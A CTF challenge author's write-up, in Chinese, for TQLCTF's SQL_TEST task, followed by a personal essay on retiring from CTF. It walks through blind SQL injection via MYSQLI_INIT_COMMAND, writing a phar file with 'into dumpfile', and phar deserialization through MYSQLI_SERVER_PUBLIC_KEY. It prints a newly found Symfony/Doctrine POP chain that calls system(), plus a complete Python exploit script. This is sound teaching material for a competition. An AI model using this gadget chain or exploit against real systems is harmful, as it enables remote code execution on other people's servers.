TQLCTF-SQL_TEST出题笔记

WriteUp 2年前 (2022) admin
1,234 0 0

本次TQLCTF算是Redbud第一次参与全国赛的命题和组织(也大概率是我最后一次参与,文末有退役老选手的小作文hhh),所以想给大家出一道有趣新颖的题目。一直没什么idea,所以想着找个框架挖一挖链子算了,但是可能比较俗,所以结合了mysql写文件,并加了一个独特的phar反序列化触发点。

题目环境:https://github.com/gml-sec/My-CTF-Challenges/tree/main/2022-TQLCTF-SQL_TEST

出题思路

选框架挖链子花了挺长时间,一些常见框架比如laravel、thinkphp等被挖烂了,最后发现Symfony5新版本似乎没啥链子,但是本人没有挖掘出最新版本RCE的链子,选了5.4.2版本挖了条链子。(测试中发现直接拿phpggc中Monolog的链子就能打,就把Monolog的依赖给删了)

众所周知mysql读写文件只能secure_file_path目录下进行,那如果这个目录不是常见路径就意味着无法写文件了么?显然不是,如果我们有注入之类的可以通过注入获取到这个目录,这道题目就是加了这个考点。

关于phar反序列化的触发点,参考了zsx这篇https://blog.zsxsoft.com/post/38,去翻了下php关于mysql相关源码,在ext/mysqlnd/mysqlnd_auth.c下有关caching_sha2_password认证的操作里找到了对php_stream_open_wrapper的调用。

将以上这三点结合起来,最终出了这道题,以下是完整题解。

题解

题目给了源码,是基于Symfony框架开发,版本是5.4.2。审计源码发现只有一个TestController:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;
use Symfony\Component\HttpFoundation\Request;

class TestController extends AbstractController
{
    /**
     * @Route("/test", name="test")
     */
    public function index(Request $request): Response
    {
        $con = mysqli_init();
        $key = $request->query->get('key');
        $value = $request->query->get('value');

        if (is_numeric($key) && is_string($value)) {
            mysqli_options($con, $key, $value);
        }
        
        mysqli_options($con, MYSQLI_OPT_LOCAL_INFILE, 0);
        if (!mysqli_real_connect($con, "127.0.0.1", "ctf", "gmlsec123456", "mysql")) {
            $content = '数据库连接失败';
        } else {
            $content = '数据库连接成功';
        }

        mysqli_close($con);

        return new Response(
            $content,
            Response::HTTP_OK,
            ['content-type' => 'text/html']
        );
    }
}


可以控制一个mysqli_options 的选项,然后连接本地数据库。

执行任意SQL语句

查阅mysqli_options 函数的相关文档:

TQLCTF-SQL_TEST出题笔记

很明显发现可以设置建立 MySQL 连接之后要执行的 SQL 语句。

php 7的环境下打印下MYSQLI_INIT_COMMAND的值:

1
2
3
4
5
6
~  php -a
Interactive shell

php > echo MYSQLI_INIT_COMMAND;
3
php >

尝试 /index.php/test?key=3&value=select%20sleep(3),延时成功。因为没有回显,可以采用时间盲注的方式获取数据。(经测试,select if(1,(select exp(1000)),0)这种通过是否报错进行布尔盲注的方式不可以)

显然flag肯定不在数据库里(可以通过时间盲注获取数据也会发现没有任何新创建的数据库和表)。现在我们可以执行一条mysql的命令,尝试堆叠发现无果,create database、insert、update数据失败,load_file读取/etc/passwd也是失败。这时猜想是否题目设置了 secure_file_priv, 尝试获取secure_file_priv目录。

平时我们经常使用的方式是 show global variables like '%secure_file_priv%',现在没有回显,我们需要时间盲注的方式获取。我们还可以通过select @@global.secure_file_priv进行获取并进行盲注:

TQLCTF-SQL_TEST出题笔记

可以通过时间盲注得到目录:/tmp/53ca05a8a6854dc2cdceeeaf52671f27(这个目录在实际比赛中是动态的)

这个目录明显是故意设置,所以肯定这里是利用点。我们不知道这个目录下有什么文件,但是我们可以向这个目录任意写文件。Symfony 5.4.2 的版本并没有什么漏洞,所以通过文件包含getshell不太可能,我们可以自然想到可以通过写入phar文件,触发反序列化getshell。

要通过phar触发反序列化进行getshell,要有POP链和触发点。首先关注POP链,phpggc上最新的链子是 5.2 版本的,经过分析无法成功利用。将源码与 Symfony 5.4.2 的源码对比,发现去除了 Monolog 的依赖,Monolog的链子也利用不了,需要挖掘一条新的POP链。

挖掘POP链

寻找__destruct方法,因为有一些类都存在 __wakeup方法,所以剩下的也不多。剩下的类 __destruct方法调用也很乱,所以尝试搜索 __call 方法,看看有什么可以利用的。在vendor/symfony/cache/Traits/RedisProxy.php 定义的RedisProxy类存在__call方法:

1
2
3
4
5
6
public function __call(string $method, array $args)
{
    $this->ready ?: $this->ready = $this->initializer->__invoke($this->redis);

    return $this->redis->{$method}(...$args);
}

我们可以调用任意类的 __invoke 方法,并且参数可控。寻找可利用的 __invoke,在vendor/doctrine/doctrine-bundle/Dbal/SchemaAssetsFilterManager.php定义的SchemaAssetsFilterManager类:

1
2
3
4
5
6
7
8
9
10
11
/** @param string|AbstractAsset $assetName */
public function __invoke($assetName): bool
{
    foreach ($this->schemaAssetFilters as $schemaAssetFilter) {
        if ($schemaAssetFilter($assetName) === false) {
            return false;
        }
    }

    return true;
}

可以发现明显的动态函数调用,并且函数名和参数都可控。与之类似的vendor/symfony/console/Helper/Dumper.php 定义的Dumper类,这个更直接一些:

1
2
3
4
public function __invoke($var): string
{
    return ($this->handler)($var);
}

所以现在我们只需在 __destruct 中找到任意一个可控变量对任意函数的调用即可,类似$xxxx->xxxx(),这应该不难寻找,在vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php中定义的CacheAdapter类:

1
2
3
4
public function __destruct()
{
    $this->commit();
}

跟进:

TQLCTF-SQL_TEST出题笔记

至此,getshell 的POP链已经完成。exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php


//namespace Doctrine\Bundle\DoctrineBundle\Dbal {
//    class SchemaAssetsFilterManager
//    {
//        private $schemaAssetFilters;
//
//        public function __construct()
//        {
//            $this->schemaAssetFilters = array('system');
//        }
//    }
//}
namespace Symfony\Component\Console\Helper {
    class Dumper
    {
        private $handler;

        public function __construct()
        {
            $this->handler = 'system';
        }
    }
}

namespace Symfony\Component\Cache\Traits {
    class RedisProxy
    {
        private $redis;
        private $initializer;
        private $ready = false;

        public function __construct()
        {
            $this->redis = 'id';
            $this->initializer = new \Symfony\Component\Console\Helper\Dumper();
//            $this->initializer = new \Doctrine\Bundle\DoctrineBundle\Dbal\SchemaAssetsFilterManager();
        }
    }
}

namespace Doctrine\Common\Cache\Psr6 {
    class CacheAdapter
    {
        private $deferredItems;

        public function __construct()
        {
            $this->deferredItems = array(new \Symfony\Component\Cache\Traits\RedisProxy());
        }
    }
}


namespace {
    $a = new Doctrine\Common\Cache\Psr6\CacheAdapter();
    $phar = new Phar('test.phar');
    $phar->stopBuffering();
    $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
    $phar->addFromString('test.txt', 'test');
    $phar->setMetadata($a);
    $phar->stopBuffering();
}

本地测试该POP链可用。

寻找触发点

现在只剩触发点,我们可控的就只有一对key和value,查看其他可以设置的选项,发现MYSQLI_SERVER_PUBLIC_KEY这个选项涉及文件操作,这个选项指定SHA-256 认证模式下,要使用的 RSA 公钥文件。

mysql8.0 之前的版本中默认的身份验证方式是mysql_native_password, 而在mysql8.0之后变为了caching_sha2_password。相信很多人在用php连接mysql8的时候都会出现错误情况,去搜基本都是由于默认的身份验证方式改变了。caching_sha2_password实现了SHA-256 认证,并且在服务器端使用缓存以获得更好的性能。官方文档:https://dev.mysql.com/doc/refman/8.0/en/caching-sha2-pluggable-authentication.html

查阅文档可以发现,客户端有两种方式指定服务端的公钥:一种是从服务端请求公钥,然后服务端将公钥发松给客户端;另外一种是客户端本地指定服务端公钥的路径:

TQLCTF-SQL_TEST出题笔记

上面提到的MYSQLI_SERVER_PUBLIC_KEY选项便是指定服务端公钥的路径。

那么既然这里存在读取文件的可能,是否可以触发phar反序列化呢?查阅PHP源码,在ext/mysqlnd/mysqlnd_auth.c 中可以找到mysqlnd_caching_sha2_get_key函数的实现:

TQLCTF-SQL_TEST出题笔记

可以看到,调用了php_stream_open_wrapper,因此可以来触发phar反序列化。

现在过程很明确:可以生成phar文件,通过mysql写入目录,再通过MYSQLI_SERVER_PUBLIC_KEY触发反序列化执行命令。

但是经过尝试发现最终触发失败,回显依然是数据库连接成功。这是因为caching_sha2_password认证方式下服务器端会使用缓存,如果不指定公钥连接就是向服务器请求key,所以一旦请求一次成功连接会保留着缓存,导致不会去加载我们指定的公钥。

查阅资料发现缓存存储在内存中:https://dba.stackexchange.com/questions/218190/where-is-the-cache-for-the-mysql-caching-sha2-password-auth-plugin-storedFLUSH PRIVILEGES即可。这里0ops战队的解法也比较巧妙,通过修改用户密码,导致连接失败,同样会触发加载公钥的操作。

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests, string, random, os, time

url = "http://127.0.0.1:7001"


def req(key, value):
    resp = requests.get(url + "/index.php/test", params={'key': key, 'value': value})
    return resp


def get_secure_file_priv():
    char_list = "_/" + string.ascii_letters + string.digits
    template = "select if((select substr(@@global.secure_file_priv,%s,1)='%s'),sleep(2),1)"
    data = ''
    for i in range(1, 100):
        flag = False
        for c in char_list:
            resp = req('3', template % (i, c))
            if resp.elapsed.seconds > 1.5:
                data += c
                flag = True
                print(data)
                break
        if not flag:
            print("end!")
            return data


def exp(secure_file_path):
    filename = "".join(random.sample(string.ascii_letters, 6)) + '.phar'
    file = os.path.join(secure_file_path, filename)

    # write phar file
    hex_data = open("test.phar", "rb").read().hex()
    command = "select 0x{} into dumpfile '{}'".format(hex_data, file)
    req('3', command)

    # check file exists
    command = "select if((ISNULL(load_file('{}'))),sleep(2),1)".format(file)
    if req('3', command).elapsed.seconds > 1.5:
        print("file write fail!")
        exit()

    # clean the cache
    req('3',"FLUSH PRIVILEGES")
    time.sleep(2)

    # trigger unserialize
    resp = req('35', 'phar://' + file)
    print(resp.text)


if __name__ == '__main__':
    secure_file_path = get_secure_file_priv()
    # secure_file_path = '/tmp/1ba652f29a29b74c5c7abb1abf6ba36e/'
    exp(secure_file_path)

写在最后

题目出完后预估难度中上,但没想到把大家都卡住了… 可能这个题很难一眼看出整个解题的思路,所以放了hint避免选手走歪了。出题不易,耗费了将近一周的时间,只希望大家玩的开心。

这次比赛后自己也算是正式退役了hhh,以后基本也不会再打比赛了(跟着TD摸鱼DEFCON真香)。回想自己这将近三年半的CTF经历,真是感慨万千。

直至现在,最开始每次比赛自己准时打开电脑兴致冲冲打开题目,然后毫无思路最后关闭电脑的画面依然历历在目。当时的NEX断层非常严重,学长忙毕业、找工作、考研等等,作为新人的我们几乎是全靠自己摸索前进。

后来大二下暑假参加XMan夏令营,才算是真正入门CTF,认识了小西、博栋、iromise等等厉害的师傅们,也认识了一群热爱CTF、热爱安全的小伙伴,还有欣蕾、扣肉这些带给我很大帮助的朋友们,这是我在XMan夏令营最大的收获。到后面与cxc,t1an5t这些NEX的小伙伴一起参加大大小小的比赛,才逐渐成长起来。

再到后来,自己保研进THU加入Redbud,进来后发现学长基本都退了。在种种外界因素影响下,战队同样面临巨大的断层问题,战队甚至无法保证每个方向有1-2个活跃人员。所幸我们通过招新成功招来思齐(@mcfx)和脑王(@nano)这样的神仙选手,加上xuanxuan、hustcw等小伙伴,几个人艰难支撑着Redbud。我们在212奋战的时候最常感慨的就是,别的战队人怎么这么多,怎么这么厉害hhh。惊奇的是,在大部分高校战队被卷死,联队为王的环境下,我们还取得了不错的成绩(当然大部分功劳可能还是mcfx和nano),但Web方向依然很挣扎,很多时候基本是我一人自闭。

对于CTF,吸引我的除了金钱、四处旅游等物质奖励,更多的是逼迫自己快速学习以及解出一道题时的快感。在我开始打CTF的时候,CTF是迅速入门安全的较好方式,但现在CTF尤其国内越来越卷,已经几乎成了劝退安全最好的方式了。加之现在CTF圈各方面鱼龙混杂,对于新人来说入门CTF就好像踏入了商场一样。之前陆队@Zeddy发过一个讨论CTF价值观的话题,我个人的感受是CTFer应该享受CTF,享受比赛的乐趣,攻防的快感,解题的成就感等等,不要把CTF当成安全的全部,也不要为了CTF而CTF,那样自己会越来越累,并且毫无收获。

到如今,一方面自己老了熬不动夜了,比赛也逐渐跟不上节奏了;一方面自己毕业压力也很大(论文太难了要毕不了业了orz),再坚持下去,自己可能也变成“为了CTF而CTF”了。今后自己需要专注于毕业,找工作这些事情了。最后希望更多的人能享受CTF,也希望Redbud能够传承下去屹立不倒hhh。

 

 

原文始发于 gml-sec:TQLCTF-SQL_TEST出题笔记

版权声明:admin 发表于 2022年2月22日 下午1:15。
转载请注明:TQLCTF-SQL_TEST出题笔记 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...